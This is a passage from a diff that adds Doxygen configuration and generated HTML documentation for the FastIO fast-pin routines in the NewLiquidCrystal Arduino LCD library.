INPUT_FILTER tag can be used to specify a program that doxygen should +# invoke to filter for each input file. Doxygen will invoke the filter program +# by executing (via popen()) the command: +# +# +# +# where is the value of the INPUT_FILTER tag, and is the +# name of an input file. Doxygen will then use the output that the filter +# program writes to standard output. If FILTER_PATTERNS is specified, this tag +# will be ignored. +# +# Note that the filter must not add or remove lines; it is applied before the +# code is scanned, but not when the output code is generated. If lines are added +# or removed, the anchors will not be placed correctly. + +INPUT_FILTER = + +# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern +# basis. Doxygen will compare the file name with each pattern and apply the +# filter if there is a match. The filters are a list of the form: pattern=filter +# (like *.cpp=my_cpp_filter). See INPUT_FILTER for further information on how +# filters are used. If the FILTER_PATTERNS tag is empty or if none of the +# patterns match the file name, INPUT_FILTER is applied. + +FILTER_PATTERNS = + +# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using +# INPUT_FILTER) will also be used to filter the input files that are used for +# producing the source files to browse (i.e. when SOURCE_BROWSER is set to YES). +# The default value is: NO. + +FILTER_SOURCE_FILES = NO + +# The FILTER_SOURCE_PATTERNS tag can be used to specify source filters per file +# pattern. A pattern will override the setting for FILTER_PATTERN (if any) and +# it is also possible to disable source filtering for a specific pattern using +# *.ext= (so without naming a filter). +# This tag requires that the tag FILTER_SOURCE_FILES is set to YES. + +FILTER_SOURCE_PATTERNS = + +# If the USE_MDFILE_AS_MAINPAGE tag refers to the name of a markdown file that +# is part of the input, its contents will be placed on the main page +# (index.html). This can be useful if you have a project on for instance GitHub +# and want to reuse the introduction page also for the doxygen output. + +USE_MDFILE_AS_MAINPAGE = + +#--------------------------------------------------------------------------- +# Configuration options related to source browsing +#--------------------------------------------------------------------------- + +# If the SOURCE_BROWSER tag is set to YES then a list of source files will be +# generated. Documented entities will be cross-referenced with these sources. +# +# Note: To get rid of all source code in the generated output, make sure that +# also VERBATIM_HEADERS is set to NO. +# The default value is: NO. + +SOURCE_BROWSER = NO + +# Setting the INLINE_SOURCES tag to YES will include the body of functions, +# classes and enums directly into the documentation. +# The default value is: NO. + +INLINE_SOURCES = NO + +# Setting the STRIP_CODE_COMMENTS tag to YES will instruct doxygen to hide any +# special comment blocks from generated source code fragments. Normal C, C++ and +# Fortran comments will always remain visible. +# The default value is: YES. + +STRIP_CODE_COMMENTS = YES + +# If the REFERENCED_BY_RELATION tag is set to YES then for each documented +# function all documented functions referencing it will be listed. +# The default value is: NO. + +REFERENCED_BY_RELATION = NO + +# If the REFERENCES_RELATION tag is set to YES then for each documented function +# all documented entities called/used by that function will be listed. +# The default value is: NO. + +REFERENCES_RELATION = NO + +# If the REFERENCES_LINK_SOURCE tag is set to YES and SOURCE_BROWSER tag is set +# to YES then the hyperlinks from functions in REFERENCES_RELATION and +# REFERENCED_BY_RELATION lists will link to the source code. Otherwise they will +# link to the documentation. +# The default value is: YES. + +REFERENCES_LINK_SOURCE = YES + +# If SOURCE_TOOLTIPS is enabled (the default) then hovering a hyperlink in the +# source code will show a tooltip with additional information such as prototype, +# brief description and links to the definition and documentation. Since this +# will make the HTML file larger and loading of large files a bit slower, you +# can opt to disable this feature. +# The default value is: YES. +# This tag requires that the tag SOURCE_BROWSER is set to YES. + +SOURCE_TOOLTIPS = YES + +# If the USE_HTAGS tag is set to YES then the references to source code will +# point to the HTML generated by the htags(1) tool instead of doxygen built-in +# source browser. The htags tool is part of GNU's global source tagging system +# (see http://www.gnu.org/software/global/global.html). You will need version +# 4.8.6 or higher. +# +# To use it do the following: +# - Install the latest version of global +# - Enable SOURCE_BROWSER and USE_HTAGS in the config file +# - Make sure the INPUT points to the root of the source tree +# - Run doxygen as normal +# +# Doxygen will invoke htags (and that will in turn invoke gtags), so these +# tools must be available from the command line (i.e. in the search path). +# +# The result: instead of the source browser generated by doxygen, the links to +# source code will now point to the output of htags. +# The default value is: NO. +# This tag requires that the tag SOURCE_BROWSER is set to YES. + +USE_HTAGS = NO + +# If the VERBATIM_HEADERS tag is set the YES then doxygen will generate a +# verbatim copy of the header file for each class for which an include is +# specified. Set to NO to disable this. +# See also: Section \class. +# The default value is: YES. + +VERBATIM_HEADERS = YES + +# If the CLANG_ASSISTED_PARSING tag is set to YES then doxygen will use the +# clang parser (see: http://clang.llvm.org/) for more accurate parsing at the +# cost of reduced performance. This can be particularly helpful with template +# rich C++ code for which doxygen's built-in parser lacks the necessary type +# information. +# Note: The availability of this option depends on whether or not doxygen was +# compiled with the --with-libclang option. +# The default value is: NO. + +CLANG_ASSISTED_PARSING = NO + +# If clang assisted parsing is enabled you can provide the compiler with command +# line options that you would normally use when invoking the compiler. Note that +# the include paths will already be set by doxygen for the files and directories +# specified with INPUT and INCLUDE_PATH. +# This tag requires that the tag CLANG_ASSISTED_PARSING is set to YES. + +CLANG_OPTIONS = + +#--------------------------------------------------------------------------- +# Configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- + +# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index of all +# compounds will be generated. Enable this if the project contains a lot of +# classes, structs, unions or interfaces. +# The default value is: YES. + +ALPHABETICAL_INDEX = YES + +# The COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns in +# which the alphabetical index list will be split. +# Minimum value: 1, maximum value: 20, default value: 5. +# This tag requires that the tag ALPHABETICAL_INDEX is set to YES. + +COLS_IN_ALPHA_INDEX = 5 + +# In case all classes in a project start with a common prefix, all classes will +# be put under the same header in the alphabetical index. The IGNORE_PREFIX tag +# can be used to specify a prefix (or a list of prefixes) that should be ignored +# while generating the index headers. +# This tag requires that the tag ALPHABETICAL_INDEX is set to YES. + +IGNORE_PREFIX = + +#--------------------------------------------------------------------------- +# Configuration options related to the HTML output +#--------------------------------------------------------------------------- + +# If the GENERATE_HTML tag is set to YES, doxygen will generate HTML output +# The default value is: YES. + +GENERATE_HTML = YES + +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. If a +# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of +# it. +# The default directory is: html. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_OUTPUT = html + +# The HTML_FILE_EXTENSION tag can be used to specify the file extension for each +# generated HTML page (for example: .htm, .php, .asp). +# The default value is: .html. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_FILE_EXTENSION = .html + +# The HTML_HEADER tag can be used to specify a user-defined HTML header file for +# each generated HTML page. If the tag is left blank doxygen will generate a +# standard header. +# +# To get valid HTML the header file that includes any scripts and style sheets +# that doxygen needs, which is dependent on the configuration options used (e.g. +# the setting GENERATE_TREEVIEW). It is highly recommended to start with a +# default header using +# doxygen -w html new_header.html new_footer.html new_stylesheet.css +# YourConfigFile +# and then modify the file new_header.html. See also section "Doxygen usage" +# for information on how to generate the default header that doxygen normally +# uses. +# Note: The header is subject to change so you typically have to regenerate the +# default header when upgrading to a newer version of doxygen. For a description +# of the possible markers and block names see the documentation. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_HEADER = + +# The HTML_FOOTER tag can be used to specify a user-defined HTML footer for each +# generated HTML page. If the tag is left blank doxygen will generate a standard +# footer. See HTML_HEADER for more information on how to generate a default +# footer and what special commands can be used inside the footer. See also +# section "Doxygen usage" for information on how to generate the default footer +# that doxygen normally uses. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_FOOTER = + +# The HTML_STYLESHEET tag can be used to specify a user-defined cascading style +# sheet that is used by each HTML page. It can be used to fine-tune the look of +# the HTML output. If left blank doxygen will generate a default style sheet. +# See also section "Doxygen usage" for information on how to generate the style +# sheet that doxygen normally uses. +# Note: It is recommended to use HTML_EXTRA_STYLESHEET instead of this tag, as +# it is more robust and this tag (HTML_STYLESHEET) will in the future become +# obsolete. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_STYLESHEET = + +# The HTML_EXTRA_STYLESHEET tag can be used to specify additional user-defined +# cascading style sheets that are included after the standard style sheets +# created by doxygen. Using this option one can overrule certain style aspects. +# This is preferred over using HTML_STYLESHEET since it does not replace the +# standard style sheet and is therefore more robust against future updates. +# Doxygen will copy the style sheet files to the output directory. +# Note: The order of the extra style sheet files is of importance (e.g. the last +# style sheet in the list overrules the setting of the previous ones in the +# list). For an example see the documentation. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_EXTRA_STYLESHEET = + +# The HTML_EXTRA_FILES tag can be used to specify one or more extra images or +# other source files which should be copied to the HTML output directory. Note +# that these files will be copied to the base HTML output directory. Use the +# $relpath^ marker in the HTML_HEADER and/or HTML_FOOTER files to load these +# files. In the HTML_STYLESHEET file, use the file name only. Also note that the +# files will be copied as-is; there are no commands or markers available. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_EXTRA_FILES = + +# The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. Doxygen +# will adjust the colors in the style sheet and background images according to +# this color. Hue is specified as an angle on a colorwheel, see +# http://en.wikipedia.org/wiki/Hue for more information. For instance the value +# 0 represents red, 60 is yellow, 120 is green, 180 is cyan, 240 is blue, 300 +# purple, and 360 is red again. +# Minimum value: 0, maximum value: 359, default value: 220. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_COLORSTYLE_HUE = 220 + +# The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of the colors +# in the HTML output. For a value of 0 the output will use grayscales only. A +# value of 255 will produce the most vivid colors. +# Minimum value: 0, maximum value: 255, default value: 100. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_COLORSTYLE_SAT = 100 + +# The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to the +# luminance component of the colors in the HTML output. Values below 100 +# gradually make the output lighter, whereas values above 100 make the output +# darker. The value divided by 100 is the actual gamma applied, so 80 represents +# a gamma of 0.8, The value 220 represents a gamma of 2.2, and 100 does not +# change the gamma. +# Minimum value: 40, maximum value: 240, default value: 80. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_COLORSTYLE_GAMMA = 80 + +# If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML +# page will contain the date and time when the page was generated. Setting this +# to YES can help to show when doxygen was last run and thus if the +# documentation is up to date. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_TIMESTAMP = NO + +# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML +# documentation will contain sections that can be hidden and shown after the +# page has loaded. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_DYNAMIC_SECTIONS = NO + +# With HTML_INDEX_NUM_ENTRIES one can control the preferred number of entries +# shown in the various tree structured indices initially; the user can expand +# and collapse entries dynamically later on. Doxygen will expand the tree to +# such a level that at most the specified number of entries are visible (unless +# a fully collapsed tree already exceeds this amount). So setting the number of +# entries 1 will produce a full collapsed tree by default. 0 is a special value +# representing an infinite number of entries and will result in a full expanded +# tree by default. +# Minimum value: 0, maximum value: 9999, default value: 100. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_INDEX_NUM_ENTRIES = 100 + +# If the GENERATE_DOCSET tag is set to YES, additional index files will be +# generated that can be used as input for Apple's Xcode 3 integrated development +# environment (see: http://developer.apple.com/tools/xcode/), introduced with +# OSX 10.5 (Leopard). To create a documentation set, doxygen will generate a +# Makefile in the HTML output directory. Running make will produce the docset in +# that directory and running make install will install the docset in +# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find it at +# startup. See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html +# for more information. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_DOCSET = NO + +# This tag determines the name of the docset feed. A documentation feed provides +# an umbrella under which multiple documentation sets from a single provider +# (such as a company or product suite) can be grouped. +# The default value is: Doxygen generated docs. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_FEEDNAME = "Doxygen generated docs" + +# This tag specifies a string that should uniquely identify the documentation +# set bundle. This should be a reverse domain-name style string, e.g. +# com.mycompany.MyDocSet. Doxygen will append .docset to the name. +# The default value is: org.doxygen.Project. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_BUNDLE_ID = org.doxygen.Project + +# The DOCSET_PUBLISHER_ID tag specifies a string that should uniquely identify +# the documentation publisher. This should be a reverse domain-name style +# string, e.g. com.mycompany.MyDocSet.documentation. +# The default value is: org.doxygen.Publisher. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_PUBLISHER_ID = org.doxygen.Publisher + +# The DOCSET_PUBLISHER_NAME tag identifies the documentation publisher. +# The default value is: Publisher. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_PUBLISHER_NAME = Publisher + +# If the GENERATE_HTMLHELP tag is set to YES then doxygen generates three +# additional HTML index files: index.hhp, index.hhc, and index.hhk. The +# index.hhp is a project file that can be read by Microsoft's HTML Help Workshop +# (see: http://www.microsoft.com/en-us/download/details.aspx?id=21138) on +# Windows. +# +# The HTML Help Workshop contains a compiler that can convert all HTML output +# generated by doxygen into a single compiled HTML file (.chm). Compiled HTML +# files are now used as the Windows 98 help format, and will replace the old +# Windows help format (.hlp) on all Windows platforms in the future. Compressed +# HTML files also contain an index, a table of contents, and you can search for +# words in the documentation. The HTML workshop also contains a viewer for +# compressed HTML files. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_HTMLHELP = NO + +# The CHM_FILE tag can be used to specify the file name of the resulting .chm +# file. You can add a path in front of the file if the result should not be +# written to the html output directory. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +CHM_FILE = + +# The HHC_LOCATION tag can be used to specify the location (absolute path +# including file name) of the HTML help compiler (hhc.exe). If non-empty, +# doxygen will try to run the HTML help compiler on the generated index.hhp. +# The file has to be specified with full path. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +HHC_LOCATION = + +# The GENERATE_CHI flag controls if a separate .chi index file is generated +# (YES) or that it should be included in the master .chm file (NO). +# The default value is: NO. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +GENERATE_CHI = NO + +# The CHM_INDEX_ENCODING is used to encode HtmlHelp index (hhk), content (hhc) +# and project file content. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +CHM_INDEX_ENCODING = + +# The BINARY_TOC flag controls whether a binary table of contents is generated +# (YES) or a normal table of contents (NO) in the .chm file. Furthermore it +# enables the Previous and Next buttons. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +BINARY_TOC = NO + +# The TOC_EXPAND flag can be set to YES to add extra items for group members to +# the table of contents of the HTML help documentation and to the tree view. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +TOC_EXPAND = NO + +# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and +# QHP_VIRTUAL_FOLDER are set, an additional index file will be generated that +# can be used as input for Qt's qhelpgenerator to generate a Qt Compressed Help +# (.qch) of the generated HTML documentation. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_QHP = NO + +# If the QHG_LOCATION tag is specified, the QCH_FILE tag can be used to specify +# the file name of the resulting .qch file. The path specified is relative to +# the HTML output folder. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QCH_FILE = + +# The QHP_NAMESPACE tag specifies the namespace to use when generating Qt Help +# Project output. For more information please see Qt Help Project / Namespace +# (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#namespace). +# The default value is: org.doxygen.Project. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_NAMESPACE = org.doxygen.Project + +# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating Qt +# Help Project output. For more information please see Qt Help Project / Virtual +# Folders (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#virtual- +# folders). +# The default value is: doc. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_VIRTUAL_FOLDER = doc + +# If the QHP_CUST_FILTER_NAME tag is set, it specifies the name of a custom +# filter to add. For more information please see Qt Help Project / Custom +# Filters (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#custom- +# filters). +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_CUST_FILTER_NAME = + +# The QHP_CUST_FILTER_ATTRS tag specifies the list of the attributes of the +# custom filter to add. For more information please see Qt Help Project / Custom +# Filters (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#custom- +# filters). +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_CUST_FILTER_ATTRS = + +# The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this +# project's filter section matches. Qt Help Project / Filter Attributes (see: +# http://qt-project.org/doc/qt-4.8/qthelpproject.html#filter-attributes). +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_SECT_FILTER_ATTRS = + +# The QHG_LOCATION tag can be used to specify the location of Qt's +# qhelpgenerator. If non-empty doxygen will try to run qhelpgenerator on the +# generated .qhp file. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHG_LOCATION = + +# If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files will be +# generated, together with the HTML files, they form an Eclipse help plugin. To +# install this plugin and make it available under the help contents menu in +# Eclipse, the contents of the directory containing the HTML and XML files needs +# to be copied into the plugins directory of eclipse. The name of the directory +# within the plugins directory should be the same as the ECLIPSE_DOC_ID value. +# After copying Eclipse needs to be restarted before the help appears. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_ECLIPSEHELP = NO + +# A unique identifier for the Eclipse help plugin. When installing the plugin +# the directory name containing the HTML and XML files should also have this +# name. Each documentation set should have its own identifier. +# The default value is: org.doxygen.Project. +# This tag requires that the tag GENERATE_ECLIPSEHELP is set to YES. + +ECLIPSE_DOC_ID = org.doxygen.Project + +# If you want full control over the layout of the generated HTML pages it might +# be necessary to disable the index and replace it with your own. The +# DISABLE_INDEX tag can be used to turn on/off the condensed index (tabs) at top +# of each HTML page. A value of NO enables the index and the value YES disables +# it. Since the tabs in the index contain the same information as the navigation +# tree, you can set this option to YES if you also set GENERATE_TREEVIEW to YES. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +DISABLE_INDEX = NO + +# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index +# structure should be generated to display hierarchical information. If the tag +# value is set to YES, a side panel will be generated containing a tree-like +# index structure (just like the one that is generated for HTML Help). For this +# to work a browser that supports JavaScript, DHTML, CSS and frames is required +# (i.e. any modern browser). Windows users are probably better off using the +# HTML help feature. Via custom style sheets (see HTML_EXTRA_STYLESHEET) one can +# further fine-tune the look of the index. As an example, the default style +# sheet generated by doxygen has an example that shows how to put an image at +# the root of the tree instead of the PROJECT_NAME. Since the tree basically has +# the same information as the tab index, you could consider setting +# DISABLE_INDEX to YES when enabling this option. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_TREEVIEW = NO + +# The ENUM_VALUES_PER_LINE tag can be used to set the number of enum values that +# doxygen will group on one line in the generated HTML documentation. +# +# Note that a value of 0 will completely suppress the enum values from appearing +# in the overview section. +# Minimum value: 0, maximum value: 20, default value: 4. +# This tag requires that the tag GENERATE_HTML is set to YES. + +ENUM_VALUES_PER_LINE = 4 + +# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be used +# to set the initial width (in pixels) of the frame in which the tree is shown. +# Minimum value: 0, maximum value: 1500, default value: 250. +# This tag requires that the tag GENERATE_HTML is set to YES. + +TREEVIEW_WIDTH = 250 + +# If the EXT_LINKS_IN_WINDOW option is set to YES, doxygen will open links to +# external symbols imported via tag files in a separate window. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +EXT_LINKS_IN_WINDOW = NO + +# Use this tag to change the font size of LaTeX formulas included as images in +# the HTML documentation. When you change the font size after a successful +# doxygen run you need to manually remove any form_*.png images from the HTML +# output directory to force them to be regenerated. +# Minimum value: 8, maximum value: 50, default value: 10. +# This tag requires that the tag GENERATE_HTML is set to YES. + +FORMULA_FONTSIZE = 10 + +# Use the FORMULA_TRANPARENT tag to determine whether or not the images +# generated for formulas are transparent PNGs. Transparent PNGs are not +# supported properly for IE 6.0, but are supported on all modern browsers. +# +# Note that when changing this option you need to delete any form_*.png files in +# the HTML output directory before the changes have effect. +# The default value is: YES. +# This tag requires that the tag GENERATE_HTML is set to YES. + +FORMULA_TRANSPARENT = YES + +# Enable the USE_MATHJAX option to render LaTeX formulas using MathJax (see +# http://www.mathjax.org) which uses client side Javascript for the rendering +# instead of using pre-rendered bitmaps. Use this if you do not have LaTeX +# installed or if you want to formulas look prettier in the HTML output. When +# enabled you may also need to install MathJax separately and configure the path +# to it using the MATHJAX_RELPATH option. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +USE_MATHJAX = NO + +# When MathJax is enabled you can set the default output format to be used for +# the MathJax output. See the MathJax site (see: +# http://docs.mathjax.org/en/latest/output.html) for more details. +# Possible values are: HTML-CSS (which is slower, but has the best +# compatibility), NativeMML (i.e. MathML) and SVG. +# The default value is: HTML-CSS. +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_FORMAT = HTML-CSS + +# When MathJax is enabled you need to specify the location relative to the HTML +# output directory using the MATHJAX_RELPATH option. The destination directory +# should contain the MathJax.js script. For instance, if the mathjax directory +# is located at the same level as the HTML output directory, then +# MATHJAX_RELPATH should be ../mathjax. The default value points to the MathJax +# Content Delivery Network so you can quickly see the result without installing +# MathJax. However, it is strongly recommended to install a local copy of +# MathJax from http://www.mathjax.org before deployment. +# The default value is: http://cdn.mathjax.org/mathjax/latest. +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_RELPATH = http://cdn.mathjax.org/mathjax/latest + +# The MATHJAX_EXTENSIONS tag can be used to specify one or more MathJax +# extension names that should be enabled during MathJax rendering. For example +# MATHJAX_EXTENSIONS = TeX/AMSmath TeX/AMSsymbols +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_EXTENSIONS = + +# The MATHJAX_CODEFILE tag can be used to specify a file with javascript pieces +# of code that will be used on startup of the MathJax code. See the MathJax site +# (see: http://docs.mathjax.org/en/latest/output.html) for more details. For an +# example see the documentation. +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_CODEFILE = + +# When the SEARCHENGINE tag is enabled doxygen will generate a search box for +# the HTML output. The underlying search engine uses javascript and DHTML and +# should work on any modern browser. Note that when using HTML help +# (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets (GENERATE_DOCSET) +# there is already a search function so this one should typically be disabled. +# For large projects the javascript based search engine can be slow, then +# enabling SERVER_BASED_SEARCH may provide a better solution. It is possible to +# search using the keyboard; to jump to the search box use + S +# (what the is depends on the OS and browser, but it is typically +# , /

 +
+ +
+
+
+ +
+
+
+Functions
+
+
FastIO.cpp File Reference
+
+
+
#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + +

+Functions

int fio_digitalRead (fio_register pinRegister, uint8_t pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
void fio_shiftOut1_init (uint8_t pin)
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

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void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

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fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

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fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

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+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp_source.html new file mode 100644 index 0000000..dc0cf2c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp_source.html @@ -0,0 +1,378 @@ + + + + +LCD Library: FastIO.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
FastIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Florian Fida on 20/01/12
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //        http://creativecommons.org/licenses/by-sa/3.0/
+00006 //
+00007 // This software is furnished "as is", without technical support, and with no
+00008 // warranty, express or implied, as to its usefulness for any purpose.
+00009 // ---------------------------------------------------------------------------
+00010 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black 
+00011 // (http://www.romanblack.com/shift1.htm)
+00012 //
+00013 // Thread Safe: No
+00014 // Extendable: Yes
+00015 //
+00016 // @file FastIO.h
+00017 // This file implements basic fast IO routines.
+00018 // 
+00019 // @brief 
+00020 //
+00021 // @version API 1.0.0
+00022 //
+00023 // @author Florian Fida -
+00024 //
+00025 // 2012-03-16 bperrybap updated fio_shiftout() to be smaller & faster
+00026 //
+00027 // @todo:
